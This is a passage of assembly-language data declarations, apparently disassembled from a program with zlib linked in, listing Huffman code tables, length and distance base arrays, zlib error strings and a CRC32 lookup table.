.long 252645135 .long 269488144 .long 269488144 .long 286331153 .long 286331153 .long 303174162 .long 303174162 .long 320017171 .long 320017171 .long 336860180 .long 336860180 .long 336860180 .long 336860180 .long 353703189 .long 353703189 .long 353703189 .long 353703189 .long 370546198 .long 370546198 .long 370546198 .long 370546198 .long 387389207 .long 387389207 .long 387389207 .long 387389207 .long 404232216 .long 404232216 .long 404232216 .long 404232216 .long 404232216 .long 404232216 .long 404232216 .long 404232216 .long 421075225 .long 421075225 .long 421075225 .long 421075225 .long 421075225 .long 421075225 .long 421075225 .long 421075225 .long 437918234 .long 437918234 .long 437918234 .long 437918234 .long 437918234 .long 437918234 .long 437918234 .long 437918234 .long 454761243 .long 454761243 .long 454761243 .long 454761243 .long 454761243 .long 454761243 .long 454761243 .long 471538459 .size _length_code, 256 # ---------------------- .hidden _dist_code .globl _dist_code .type _dist_code, @object _dist_code: .long 50462976 .long 84214788 .long 101058054 .long 117901063 .long 134744072 .long 134744072 .long 151587081 .long 151587081 .long 168430090 .long 168430090 .long 168430090 .long 168430090 .long 185273099 .long 185273099 .long 185273099 .long 185273099 .long 202116108 .long 202116108 .long 202116108 .long 202116108 .long 202116108 .long 202116108 .long 202116108 .long 202116108 .long 218959117 .long 218959117 .long 218959117 .long 218959117 .long 218959117 .long 218959117 .long 218959117 .long 218959117 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 235802126 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 252645135 .long 286261248 .long 320016914 .long 336860180 .long 353703189 .long 370546198 .long 370546198 .long 387389207 .long 387389207 .long 404232216 .long 404232216 .long 404232216 .long 404232216 .long 421075225 .long 421075225 .long 421075225 .long 421075225 .long 437918234 .long 437918234 .long 437918234 .long 437918234 .long 437918234 .long 437918234 .long 437918234 .long 437918234 .long 454761243 .long 454761243 .long 454761243 .long 454761243 .long 454761243 .long 454761243 .long 454761243 .long 454761243 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 471604252 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .long 488447261 .size _dist_code, 512 # ---------------------- .local static_dtree .type static_dtree, @object static_dtree: .long 327680 .long 327696 .long 327688 .long 327704 .long 327684 .long 327700 .long 327692 .long 327708 .long 327682 .long 327698 .long 327690 .long 327706 .long 327686 .long 327702 .long 327694 .long 327710 .long 327681 .long 327697 .long 327689 .long 327705 .long 327685 .long 327701 .long 327693 .long 327709 .long 327683 .long 327699 .long 327691 .long 327707 .long 327687 .long 327703 .size static_dtree, 120 # ---------------------- .LC080559B8: .zero 8 # ---------------------- .local static_ltree .type static_ltree, @object static_ltree: .long 524300 .long 524428 .long 524364 .long 524492 .long 524332 .long 524460 .long 524396 .long 524524 .long 524316 .long 524444 .long 524380 .long 524508 .long 524348 .long 524476 .long 524412 .long 524540 .long 524290 .long 524418 .long 524354 .long 524482 .long 524322 .long 524450 .long 524386 .long 524514 .long 524306 .long 524434 .long 524370 .long 524498 .long 524338 .long 524466 .long 524402 .long 524530 .long 524298 .long 524426 .long 524362 .long 524490 .long 524330 .long 524458 .long 524394 .long 524522 .long 524314 .long 524442 .long 524378 .long 524506 .long 524346 .long 524474 .long 524410 .long 524538 .long 524294 .long 524422 .long 524358 .long 524486 .long 524326 .long 524454 .long 524390 .long 524518 .long 524310 .long 524438 .long 524374 .long 524502 .long 524342 .long 524470 .long 524406 .long 524534 .long 524302 .long 524430 .long 524366 .long 524494 .long 524334 .long 524462 .long 524398 .long 524526 .long 524318 .long 524446 .long 524382 .long 524510 .long 524350 .long 524478 .long 524414 .long 524542 .long 524289 .long 524417 .long 524353 .long 524481 .long 524321 .long 524449 .long 524385 .long 524513 .long 524305 .long 524433 .long 524369 .long 524497 .long 524337 .long 524465 .long 524401 .long 524529 .long 524297 .long 524425 .long 524361 .long 524489 .long 524329 .long 524457 .long 524393 .long 524521 .long 524313 .long 524441 .long 524377 .long 524505 .long 524345 .long 524473 .long 524409 .long 524537 .long 524293 .long 524421 .long 524357 .long 524485 .long 524325 .long 524453 .long 524389 .long 524517 .long 524309 .long 524437 .long 524373 .long 524501 .long 524341 .long 524469 .long 524405 .long 524533 .long 524301 .long 524429 .long 524365 .long 524493 .long 524333 .long 524461 .long 524397 .long 524525 .long 524317 .long 524445 .long 524381 .long 524509 .long 524349 .long 524477 .long 524413 .long 524541 .long 589843 .long 590099 .long 589971 .long 590227 .long 589907 .long 590163 .long 590035 .long 590291 .long 589875 .long 590131 .long 590003 .long 590259 .long 589939 .long 590195 .long 590067 .long 590323 .long 589835 .long 590091 .long 589963 .long 590219 .long 589899 .long 590155 .long 590027 .long 590283 .long 589867 .long 590123 .long 589995 .long 590251 .long 589931 .long 590187 .long 590059 .long 590315 .long 589851 .long 590107 .long 589979 .long 590235 .long 589915 .long 590171 .long 590043 .long 590299 .long 589883 .long 590139 .long 590011 .long 590267 .long 589947 .long 590203 .long 590075 .long 590331 .long 589831 .long 590087 .long 589959 .long 590215 .long 589895 .long 590151 .long 590023 .long 590279 .long 589863 .long 590119 .long 589991 .long 590247 .long 589927 .long 590183 .long 590055 .long 590311 .long 589847 .long 590103 .long 589975 .long 590231 .long 589911 .long 590167 .long 590039 .long 590295 .long 589879 .long 590135 .long 590007 .long 590263 .long 589943 .long 590199 .long 590071 .long 590327 .long 589839 .long 590095 .long 589967 .long 590223 .long 589903 .long 590159 .long 590031 .long 590287 .long 589871 .long 590127 .long 589999 .long 590255 .long 589935 .long 590191 .long 590063 .long 590319 .long 589855 .long 590111 .long 589983 .long 590239 .long 589919 .long 590175 .long 590047 .long 590303 .long 589887 .long 590143 .long 590015 .long 590271 .long 589951 .long 590207 .long 590079 .long 590335 .value 0 .ascii "\007\000@\000\007\000 \000\007\000`\000\007\000\020\000\007\000P\000\007\0000\000\007\000p\000\007\000\010\000\007\000H\000\007\000(\000\007\000h\000\007\000\030\000\007\000X\000\007\0008\000\007\000x\000\007\000\004\000\007\000D\000\007\000$\000\007\000d\000\007\000\024\000\007\000T\000\007\0004\000\007\000t\000\007\000\003\000\010\000\203\000\010\000C\000\010\000\303\000\010\000#\000\010\000\243\000\010\000c\000\010\000\343\000\010\000" .size static_ltree, 1152 # ---------------------- .local bl_order .type bl_order, @object bl_order: .ascii "\020\021\022\000\010\007\t\006\n\005\013\004\014\003\r\002\016\001\017" .size bl_order, 19 # ---------------------- .LC08055E53: .zero 13 # ---------------------- .local base_dist .type base_dist, @object base_dist: .long 0 .long 1 .long 2 .long 3 .long 4 .long 6 .long 8 .long 12 .long 16 .long 24 .long 32 .long 48 .long 64 .long 96 .long 128 .long 192 .long 256 .long 384 .long 512 .long 768 .long 1024 .long 1536 .long 2048 .long 3072 .long 4096 .long 6144 .long 8192 .long 12288 .long 16384 .long 24576 .size base_dist, 120 # ---------------------- .LC08055ED8: .zero 8 # ---------------------- .local extra_dbits .type extra_dbits, @object extra_dbits: .long 0 .long 0 .long 0 .long 0 .long 1 .long 1 .long 2 .long 2 .long 3 .long 3 .long 4 .long 4 .long 5 .long 5 .long 6 .long 6 .long 7 .long 7 .long 8 .long 8 .long 9 .long 9 .long 10 .long 10 .long 11 .long 11 .long 12 .long 12 .long 13 .long 13 .size extra_dbits, 120 # ---------------------- .LC08055F58: .zero 8 # ---------------------- .local base_length .type base_length, @object base_length: .long 0 .long 1 .long 2 .long 3 .long 4 .long 5 .long 6 .long 7 .long 8 .long 10 .long 12 .long 14 .long 16 .long 20 .long 24 .long 28 .long 32 .long 40 .long 48 .long 56 .long 64 .long 80 .long 96 .long 112 .long 128 .long 160 .long 192 .long 224 .long 0 .size base_length, 116 # ---------------------- .LC08055FD4: .zero 12 # ---------------------- .local extra_lbits .type extra_lbits, @object extra_lbits: .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 1 .long 1 .long 1 .long 1 .long 2 .long 2 .long 2 .long 2 .long 3 .long 3 .long 3 .long 3 .long 4 .long 4 .long 4 .long 4 .long 5 .long 5 .long 5 .long 5 .long 0 .size extra_lbits, 116 # ---------------------- .LC08056054: .zero 12 # ---------------------- .local extra_blbits .type extra_blbits, @object extra_blbits: .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .long 2 .long 3 .long 7 .LC080560AC: .string "need dictionary" .LC080560BC: .string "stream end" .LC080560C7: .string "file error" .LC080560D2: .string "stream error" .LC080560DF: .string "insufficient memory" .LC080560F3: .string "buffer error" .LC08056100: .string "incompatible version" .size extra_blbits, 76 # ---------------------- .LC08056115: .zero 11 # ---------------------- .globl z_errmsg .type z_errmsg, @object z_errmsg: .long .LC080560AC .long .LC080560BC .long .LC0805467E .long .LC080560C7 .long .LC080560D2 .long .LC0805483D .long .LC080560DF .long .LC080560F3 .long .LC08056100 .long .LC0805467E .long 0 .long 0 .long 0 .long 0 .long 0 .long 0 .size z_errmsg, 64 # ---------------------- .local crc_table .type crc_table, @object crc_table: .long 0 .long 1996959894 .long -301047508 .long -1727442502 .long 124634137 .long 1886057615 .long -379345611 .long -1637575261 .long 249268274 .long 2044508324 .long -522852066 .long -1747789432 .long 162941995 .long 2125561021 .long -407360249 .long -1866523247 .long 498536548 .long 1789927666 .long -205950648 .long -2067906082 .long 450548861 .long 1843258603 .long -187386543 .long -2083289657 .long 325883990 .long 1684777152 .long -43845254 .long -1973040660 .long 335633487 .long 1661365465 .long -99664541 .long -1928851979 .long 997073096 .long 1281953886 .long -715111964 .long -1570279054 .long 1006888145 .long 1258607687 .long -770865667 .long -1526024853 .long 901097722 .long 1119000684 .long -608450090 .long -1396901568 .long 853044451 .long 1172266101 .long -589951537 .long -1412350631 .long 651767980 .long 1373503546 .long -925412992 .long -1076862698 .long 565507253 .long 1454621731 .long -809855591 .long -1195530993 .long 671266974 .long 1594198024 .long -972236366 .long -1324619484 .long 795835527 .long 1483230225 .long -1050600021 .long -1234817731 .long 1994146192 .long 31158534 .long -1731059524 .long -271249366 .long 1907459465 .long 112637215 .long -1614814043 .long -390540237 .long 2013776290 .long 251722036 .long -1777751922 .long -519137256 .long 2137656763 .long 141376813 .long -1855689577 .long -429695999 .long 1802195444 .long 476864866 .long -2056965928 .long -228458418 .long 1812370925 .long 453092731 .long -2113342271 .long -183516073 .long 1706088902 .long 314042704 .long -1950435094 .long -54949764 .long 1658658271 .long 366619977 .long -1932296973 .long -69972891 .long 1303535960 .long 984961486 .long -1547960204 .long -725929758 .long 1256170817 .long 1037604311 .long -1529756563 .long -740887301 .long 1131014506 .long 879679996 .long -1385723834 .long -631195440 .long 1141124467 .long 855842277 .long -1442165665 .long -586318647 .long 1342533948 .long 654459306 .long -1106571248 .long -921952122 .long 1466479909 .long 544179635 .long -1184443383 .long -832445281 .long 1591671054 .long 702138776 .long -1328506846 .long -942167884 .long 1504918807 .long 783551873 .long -1212326853 .long -1061524307 .long -306674912 .long -1698712650 .long 62317068 .long 1957810842 .long -355121351 .long -1647151185 .long 81470997 .long 1943803523 .long -480048366 .long -1805370492 .long 225274430 .long 2053790376 .long -468791541 .long -1828061283 .long 167816743 .long 2097651377 .long -267414716 .long -2029476910 .long 503444072 .long 1762050814 .long -144550051 .long -2140837941 .long 426522225 .long 1852507879 .long -19653770 .long -1982649376 .long 282753626 .long 1742555852 .long -105259153 .long -1900089351 .long 397917763 .long 1622183637 .long -690576408 .long -1580100738 .long 953729732 .long 1340076626 .long -776247311 .long -1497606297 .long 1068828381 .long 1219638859 .long -670225446 .long -1358292148 .long 906185462 .long 1090812512 .long -547295293 .long -1469587627 .long 829329135 .long 1181335161 .long -882789492 .long -1134132454 .long 628085408 .long 1382605366 .long -871598187 .long -1156888829 .long 570562233 .long 1426400815 .long -977650754 .long -1296233688 .long 733239954 .long 1555261956 .long -1026031705 .long -1244606671 .long 752459403 .long 1541320221 .long -1687895376 .long -328994266 .long 1969922972 .long 40735498 .long -1677130071 .long -351390145 .long 1913087877 .long 83908371 .long -1782625662 .long -491226604 .long 2075208622 .long 213261112 .long -1831694693 .long -438977011 .long 2094854071 .long 198958881 .long -2032938284 .long -237706686 .long 1759359992 .long 534414190 .long -2118248755 .long -155638181 .long 1873836001 .long 414664567 .long -2012718362 .long -15766928 .long 1711684554 .long 285281116 .long -1889165569 .long -127750551 .long 1634467795 .long 376229701 .long -1609899400 .long -686959890 .long 1308918612 .long 956543938 .long -1486412191 .long -799009033 .long 1231636301 .long 1047427035 .long -1362007478 .long -640263460 .long 1088359270 .long 936918000 .long -1447252397 .long -558129467 .long 1202900863 .long 817233897 .long -1111625188 .long -893730166 .long 1404277552 .long 615818150 .long -1160759803 .long -841546093 .long 1423857449 .long 601450431 .long -1285129682 .long -1000256840 .long 1567103746 .long 711928724 .long -1274298825 .long -1022587231 .long 1510334235 .long 755167117 .long 0 .long 421212481 .long 842424962 .long 724390851 .long 1684849924 .long 2105013317 .long 1448781702 .long 1329698503 .long -925267448 .long -775767223 .long -84940662 .long -470492725 .long -1397403892 .long -1246855603 .long -1635570290 .long -2020074289 .long 1254232657 .long 1406739216 .long 2029285587 .long 1643069842 .long 783210325 .long 934667796 .long 479770071 .long 92505238 .long -2112120743 .long -1694455528 .long -1339163941 .long -1456026726 .long -428384931 .long -9671652 .long -733921313 .long -849736034 .long -1786501982 .long -1935731229 .long -1481488864 .long -1096190111 .long -236396122 .long -386674457 .long -1008827612 .long -624577947 .long 1566420650 .long 1145479147 .long 1869335592 .long 1987116393 .long 959540142 .long 539646703 .long 185010476 .long 303839341 .long -549046541 .long -966981710 .long -311405455 .long -194288336 .long -1154812937 .long -1573797194 .long -1994616459 .long -1878548428 .long 396344571 .long 243568058 .long 631889529 .long 1018359608 .long 1945336319 .long 1793607870 .long 1103436669 .long 1490954812 .long -260485371 .long -379421116 .long -1034998393 .long -615244602 .long -1810527743 .long -1928414400 .long -1507596157 .long -1086793278 .long 950060301 .long 565965900 .long 177645455 .long 328046286 .long 1556873225 .long 1171730760 .long 1861902987 .long 2011255754 .long -1162125996 .long -1549767659 .long -2004009002 .long -1852436841 .long -556296112 .long -942888687 .long -320734510 .long -168113261 .long 1919080284 .long 1803150877 .long 1079293406 .long 1498383519 .long 370020952 .long 253043481 .long 607678682 .long 1025720731 .long 1711106983 .long 2095471334 .long 1472923941 .long 1322268772 .long 26324643 .long 411738082 .long 866634785 .long 717028704 .long -1390091857 .long -1270886162 .long -1626176723 .long -2046184852 .long -918018901 .long -799861270 .long -75610583 .long -496666776 .long 792689142 .long 908347575 .long 487136116 .long 68299317 .long 1263779058 .long 1380486579 .long 2036719216 .long 1618931505 .long -404294658 .long -16923969 .long -707751556 .long -859070403 .long -2088093958 .long -1701771333 .long -1313057672 .long -1465424583 .long 998479947 .long 580430090 .long 162921161 .long 279890824 .long 1609522511 .long 1190423566 .long 1842954189 .long 1958874764 .long -212200893 .long -364829950 .long -1049857855 .long -663273088 .long -1758013625 .long -1909594618 .long -1526680123 .long -1139047292 .long 1900120602 .long 1750776667 .long 1131931800 .long 1517083097 .long 355290910 .long 204897887 .long 656092572 .long 1040194781 .long -1181220846 .long -1602014893 .long -1951505776 .long -1833610287 .long -571161322 .long -990907305 .long -272455788 .long -153512235 .long -1375224599 .long -1222865496 .long -1674453397 .long -2060783830 .long -898926099 .long -747616084 .long -128115857 .long -515495378 .long 1725839073 .long 2143618976 .long 1424512099 .long 1307796770 .long 45282277 .long 464110244 .long 813994343 .long 698327078 .long -456806728 .long -35741703 .long -688665542 .long -806814341 .long -2136380484 .long -1716364547 .long -1298200258 .long -1417398145 .long 740041904 .long 889656817 .long 506086962 .long 120682355 .long 1215357364 .long 1366020341 .long 2051441462 .long 1667084919 .long -872753330 .long -756947441 .long -104024628 .long -522746739 .long -1349119414 .long -1232264437 .long -1650429752 .long -2068102775 .long 52649286 .long 439905287 .long 823476164 .long 672009861 .long 1733269570 .long 2119477507 .long 1434057408 .long 1281543041 .long -2126985953 .long -1742474146 .long -1290885219 .long -1441425700 .long -447479781 .long -61918886 .long -681418087 .long -830909480 .long 1239502615 .long 1358593622 .long 2077699477 .long 1657543892 .long 764250643 .long 882293586 .long 532408465 .long 111204816 .long 1585378284 .long 1197851309 .long 1816695150 .long 1968414767 .long 974272232 .long 587794345 .long 136598634 .long 289367339 .long -1767409180 .long -1883486043 .long -1533994138 .long -1115018713 .long -221528864 .long -338653791 .long -1057104286 .long -639176925 .long 347922877 .long 229101820 .long 646611775 .long 1066513022 .long 1892689081 .long 1774917112 .long 1122387515 .long 1543337850 .long -597333067 .long -981574924 .long -296548041 .long -146261898 .long -1207325007 .long -1592614928 .long -1975530445 .long -1826292366 .long 0 .long 29518391 .long 59036782 .long 38190681 .long 118073564 .long 114017003 .long 76381362 .long 89069189 .long 236147128 .long 265370511 .long 228034006 .long 206958561 .long 152762724 .long 148411219 .long 178138378 .long 190596925 .long 472294256 .long 501532999 .long 530741022 .long 509615401 .long 456068012 .long 451764635 .long 413917122 .long 426358261 .long 305525448 .long 334993663 .long 296822438 .long 275991697 .long 356276756 .long 352202787 .long 381193850 .long 393929805 .long 944588512 .long 965684439 .long 1003065998 .long 973863097 .long 1061482044 .long 1049003019 .long 1019230802 .long 1023561829 .long 912136024 .long 933002607 .long 903529270 .long 874031361 .long 827834244 .long 815125939 .long 852716522 .long 856752605 .long 611050896 .long 631869351 .long 669987326 .long 640506825 .long 593644876 .long 580921211 .long 551983394 .long 556069653 .long 712553512 .long 733666847 .long 704405574 .long 675154545 .long 762387700 .long 749958851 .long 787859610 .long 792175277 .long 1889177024 .long 1901651959 .long 1931368878 .long 1927033753 .long 2006131996 .long 1985040171 .long 1947726194 .long 1976933189 .long 2122964088 .long 2135668303 .long 2098006038 .long 2093965857 .long 2038461604 .long 2017599123 .long 2047123658 .long 2076625661 .long 1824272048 .long 1836991623 .long 1866005214 .long 1861914857 .long 1807058540 .long 1786244187 .long 1748062722 .long 1777547317 .long 1655668488 .long 1668093247 .long 1630251878 .long 1625932113 .long 1705433044 .long 1684323811 .long 1713505210 .long 1742760333 .long 1222101792 .long 1226154263 .long 1263738702 .long 1251046777 .long 1339974652 .long 1310460363 .long 1281013650 .long 1301863845 .long 1187289752 .long 1191637167 .long 1161842422 .long 1149379777 .long 1103966788 .long 1074747507 .long 1112139306 .long 1133218845 .long 1425107024 .long 1429406311 .long 1467333694 .long 1454888457 .long 1408811148 .long 1379576507 .long 1350309090 .long 1371438805 .long 1524775400 .long 1528845279 .long 1499917702 .long 1487177649 .long 1575719220 .long 1546255107 .long 1584350554 .long 1605185389 .long -516613248 .long -520654409 .long -491663378 .long -478960167 .long -432229540 .long -402728597 .long -440899790 .long -461763323 .long -282703304 .long -287039473 .long -324886954 .long -312413087 .long -399514908 .long -370308909 .long -341100918 .long -362193731 .long -49039120 .long -53357881 .long -23630690 .long -11204951 .long -98955220 .long -69699045 .long -107035582 .long -128143755 .long -218044088 .long -222133377 .long -259769050 .long -247048431 .long -200719980 .long -171234397 .long -141715974 .long -162529331 .long -646423200 .long -658884777 .long -620984050 .long -616635591 .long -562956868 .long -541876341 .long -571137582 .long -600355867 .long -680850216 .long -693541137 .long -722478922 .long -718425471 .long -798841852 .long -777990605 .long -739872662 .long -769385891 .long -983630320 .long -996371417 .long -958780802 .long -954711991 .long -1034463540 .long -1013629701 .long -1043103070 .long -1072568171 .long -884101208 .long -896547425 .long -926319674 .long -922021391 .long -867956876 .long -846828221 .long -809446630 .long -838682323 .long -1850763712 .long -1871840137 .long -1842658770 .long -1813436391 .long -1767489892 .long -1755032405 .long -1792873742 .long -1797226299 .long -1615017992 .long -1635865137 .long -1674046570 .long -1644529247 .long -1732939996 .long -1720253165 .long -1691239606 .long -1695297155 .long -1920387792 .long -1941217529 .long -1911692962 .long -1882223767 .long -1971282452 .long -1958545445 .long -1996207742 .long -2000280651 .long -2087033720 .long -2108158273 .long -2145472282 .long -2116232495 .long -2070688684 .long -2058246557 .long -2028529606 .long -2032831987 .long -1444753248 .long -1474250089 .long -1436154674 .long -1415287047 .long -1360299908 .long -1356262837 .long -1385190382 .long -1397897691 .long -1477345000 .long -1506546897 .long -1535814282 .long -1514717375 .long -1594349116 .long -1590017037 .long -1552089686 .long -1564567651 .long -1245416496 .long -1274668569 .long -1237276738 .long -1216164471 .long -1295131892 .long -1290817221 .long -1320611998 .long -1333041835 .long -1143528856 .long -1173010337 .long -1202457082 .long -1181639631 .long -1126266188 .long -1122180989 .long -1084596518 .long -1097321235 .long 0 .long -1195612315 .long -1442199413 .long 313896942 .long -1889364137 .long 937357362 .long 627793884 .long -1646839623 .long -978048785 .long 2097696650 .long 1874714724 .long -687765759 .long 1255587768 .long -227878691 .long -522225869 .long 1482887254 .long 1343838111 .long -391827206 .long -99573996 .long 1118632049 .long -545537848 .long 1741137837 .long 1970407491 .long -842109146 .long -1783791760 .long 756094997 .long 1067759611 .long -2028416866 .long 449832999 .long -1569484990 .long -1329192788 .long 142231497 .long -1607291074 .long 412010587 .long 171665333 .long -1299775280 .long 793786473 .long -1746116852 .long -2057703198 .long 1038456711 .long 1703315409 .long -583343948 .long -812691622 .long 1999841343 .long -354152314 .long 1381529571 .long 1089329165 .long -128860312 .long -265553759 .long 1217896388 .long 1512189994 .long -492939441 .long 2135519222 .long -940242797 .long -717183107 .long 1845280792 .long 899665998 .long -1927039189 .long -1617553211 .long 657096608 .long -1157806311 .long 37822588 .long 284462994 .long -1471616777 .long -1693165507 .long 598228824 .long 824021174 .long -1985873965 .long 343330666 .long -1396004849 .long -1098971167 .long 113467524 .long 1587572946 .long -434366537 .long -190203815 .long 1276501820 .long -775755899 .long 1769898208 .long 2076913422 .long -1015592853 .long -888336478 .long 1941006535 .long 1627703081 .long -642211764 .long 1148164341 .long -53215344 .long -295284610 .long 1457141531 .long 247015245 .long -1241169880 .long -1531908154 .long 470583459 .long -2116308966 .long 963106687 .long 735213713 .long -1821499404 .long 992409347 .long -2087022490 .long -1859174520 .long 697522413 .long -1270587308 .long 217581361 .long 508405983 .long -1494102086 .long -23928852 .long 1177467017 .long 1419450215 .long -332959742 .long 1911572667 .long -917753890 .long -604405712 .long 1665525589 .long 1799331996 .long -746338311 .long -1053399017 .long 2039091058 .long -463652917 .long 1558270126 .long 1314193216 .long -152528859 .long -1366587277 .long 372764438 .long 75645176 .long -1136777315 .long 568925988 .long -1722451903 .long -1948198993 .long 861712586 .long -312887749 .long 1441124702 .long 1196457648 .long -1304107 .long 1648042348 .long -628668919 .long -936187417 .long 1888390786 .long 686661332 .long -1873675855 .long -2098964897 .long 978858298 .long -1483798141 .long 523464422 .long 226935048 .long -1254447507 .long -1119821404 .long 100435649 .long 390670639 .long -1342878134 .long 841119475 .long -1969352298 .long -1741963656 .long 546822429 .long 2029308235 .long -1068978642 .long -755170880 .long 1782671013 .long -141140452 .long 1328167289 .long 1570739863 .long -450629134 .long 1298864389 .long -170426784 .long -412954226 .long 1608431339 .long -1039561134 .long 2058742071 .long 1744848601 .long -792976964 .long -1998638614 .long 811816591 .long 584513889 .long -1704288764 .long 129869501 .long -1090403880 .long -1380684234 .long 352848211 .long 494030490 .long -1513215489 .long -1216641519 .long 264757620 .long -1844389427 .long 715964072 .long 941166918 .long -2136639965 .long -658086283 .long 1618608400 .long 1926213374 .long -898381413 .long 1470427426 .long -283601337 .long -38979159 .long 1158766284 .long 1984818694 .long -823031453 .long -599513459 .long 1693991400 .long -114329263 .long 1100160564 .long 1395044826 .long -342174017 .long -1275476247 .long 189112716 .long 435162722 .long -1588827897 .long 1016811966 .long -2077804837 .long -1768777419 .long 774831696 .long 643086745 .long -1628905732 .long -1940033262 .long 887166583 .long -1456066866 .long 294275499 .long 54519365 .long -1149009632 .long -471821962 .long 1532818963 .long 1240029693 .long -246071656 .long 1820460577 .long -734109372 .long -963916118 .long 2117577167 .long -696303304 .long 1858283101 .long 2088143283 .long -993333546 .long 1495127663 .long -509497078 .long -216785180 .long 1269332353 .long 332098007 .long -1418260814 .long -1178427044 .long 25085497 .long -1666580864 .long 605395429 .long 916469259 .long -1910746770 .long -2040129881 .long 1054503362 .long 745528876 .long -1798063799 .long 151290352 .long -1313282411 .long -1559410309 .long 464596510 .long 1137851976 .long -76654291 .long -371460413 .long 1365741990 .long -860837601 .long 1946996346 .long 1723425172 .long -570095887 .long 0 .long -1775237257 .long 744558318 .long -1169094247 .long 432303367 .long -1879807376 .long 900031465 .long -1550490466 .long 847829774 .long -1531388807 .long 518641120 .long -1998990697 .long 726447625 .long -1115901570 .long 120436967 .long -1860321392 .long 1678817053 .long -232738710 .long 1215412723 .long -566116732 .long 2111101466 .long -337322643 .long 1370871028 .long -947530877 .long 1452829715 .long -1062704284 .long 2063164157 .long -322345590 .long 1331429652 .long -647231901 .long 1664946170 .long -183695219 .long -937398725 .long 1578133836 .long -465477419 .long 1920034722 .long -773586116 .long 1205077067 .long -41611822 .long 1807026853 .long -89606859 .long 1821946434 .long -691422245 .long 1090108588 .long -479406030 .long 1969020741 .long -821176612 .long 1497223595 .long -1406084826 .long 973135441 .long -2142119992 .long 375509183 .long -1242254303 .long 600093526 .long -1718240561 .long 262520248 .long -1632107992 .long 143131999 .long -1294398266 .long 619252657 .long -2021888209 .long 290220120 .long -1424137791 .long 1026385590 .long -1874731914 .long 108124929 .long -1138699624 .long 705746415 .long -1987726991 .long 532002310 .long -1511735393 .long 869578984 .long -1563883656 .long 888733711 .long -1901590122 .long 412618465 .long -1156748673 .long 759000328 .long -1754504047 .long 22832102 .long -195990677 .long 1650551836 .long -667916923 .long 1308648178 .long -309000596 .long 2074411291 .long -1040971646 .long 1472466933 .long -958812059 .long 1357494034 .long -356991349 .long 2089335292 .long -551690910 .long 1227741717 .long -209923188 .long 1699534075 .long 1482797645 .long -833505990 .long 1946205347 .long -500122668 .long 1101389642 .long -678045635 .long 1841615268 .long -67840301 .long 1793681731 .long -52859340 .long 1183344557 .long -793222950 .long 1932330052 .long -451083469 .long 1598818986 .long -914616867 .long 1014039888 .long -1438580185 .long 269487038 .long -2044719927 .long 632645719 .long -1283100896 .long 164914873 .long -1612422706 .long 251256414 .long -1731602135 .long 580440240 .long -1264003129 .long 389919577 .long -2129808338 .long 995933623 .long -1385383232 .long 545503469 .long -1229733990 .long 216184323 .long -1697468044 .long 961009130 .long -1351101795 .long 354867972 .long -2095653773 .long 302736355 .long -2076482412 .long 1047162125 .long -1470469510 .long 198119140 .long -1644230253 .long 665714698 .long -1315043459 .long 1150488560 .long -761067385 .long 1760690462 .long -20838807 .long 1566008055 .long -882416256 .long 1899392025 .long -419009682 .long 1981535486 .long -533998711 .long 1518000656 .long -867508889 .long 1876933113 .long -101728626 .long 1136572183 .long -712069024 .long -391915818 .long 2123616673 .long -993863624 .long 1391648591 .long -244859951 .long 1733803174 .long -586762945 .long 1261875784 .long -634712616 .long 1276840623 .long -162921674 .long 1618609217 .long -1007722273 .long 1440704424 .long -275878351 .long 2042521926 .long -1934401077 .long 444819132 .long -1596821723 .long 920807506 .long -1787360052 .long 54987707 .long -1189739998 .long 791020885 .long -1103381819 .long 671858098 .long -1839549397 .long 74101596 .long -1476405310 .long 835702965 .long -1952523988 .long 497999451 .long -1329437541 .long 653419500 .long -1667011979 .long 177433858 .long -1459222116 .long 1060507371 .long -2056845454 .long 324468741 .long -2109030507 .long 343587042 .long -1372868229 .long 941340172 .long -1685138798 .long 230610405 .long -1209017220 .long 568318731 .long -724380794 .long 1122161905 .long -122430104 .long 1854134815 .long -854147455 .long 1529264630 .long -512249745 .long 2001188632 .long -430307192 .long 1885999103 .long -902101402 .long 1544225041 .long -6396529 .long 1773036280 .long -738235551 .long 1171221526 .long 2028079776 .long -288223785 .long 1417872462 .long -1028455623 .long 1629906855 .long -149528368 .long 1296525641 .long -612929986 .long 1248514478 .long -598026535 .long 1712054080 .long -264513481 .long 1403960489 .long -979452962 .long 2144318023 .long -369117904 .long 485670333 .long -1966949686 .long 814986067 .long -1499220956 .long 87478458 .long -1828268083 .long 693624404 .long -1083713245 .long 779773619 .long -1203084860 .long 35350621 .long -1809092822 .long 935201716 .long -1584526141 .long 467600730 .long -1913716179 .long 0 .long 1093737241 .long -2107492814 .long -1017959125 .long 80047204 .long 1173649277 .long -2035852714 .long -946454193 .long 143317448 .long 1237041873 .long -1964445702 .long -874908445 .long 206550444 .long 1300147893 .long -1909619810 .long -820209529 .long 1360183882 .long 270784851 .long -747572104 .long -1841172639 .long 1440198190 .long 350663991 .long -675964900 .long -1769700603 .long 1503140738 .long 413728923 .long -604361296 .long -1697958231 .long 1566406630 .long 476867839 .long -549502508 .long -1643226419 .long -1574665067 .long -485122164 .long 541504167 .long 1635232190 .long -1495144207 .long -405736472 .long 612622019 .long 1706214874 .long -1431413411 .long -341883324 .long 684485487 .long 1778217078 .long -1368706759 .long -279303648 .long 738789131 .long 1832393746 .long -214546721 .long -1308140090 .long 1901359341 .long 811953140 .long -135058757 .long -1228787294 .long 1972444297 .long 882902928 .long -71524585 .long -1165130738 .long 2044635429 .long 955232828 .long -8785037 .long -1102518166 .long 2098971969 .long 1009442392 .long 89094640 .long 1149133545 .long -2027073598 .long -971221797 .long 25826708 .long 1086000781 .long -2081938522 .long 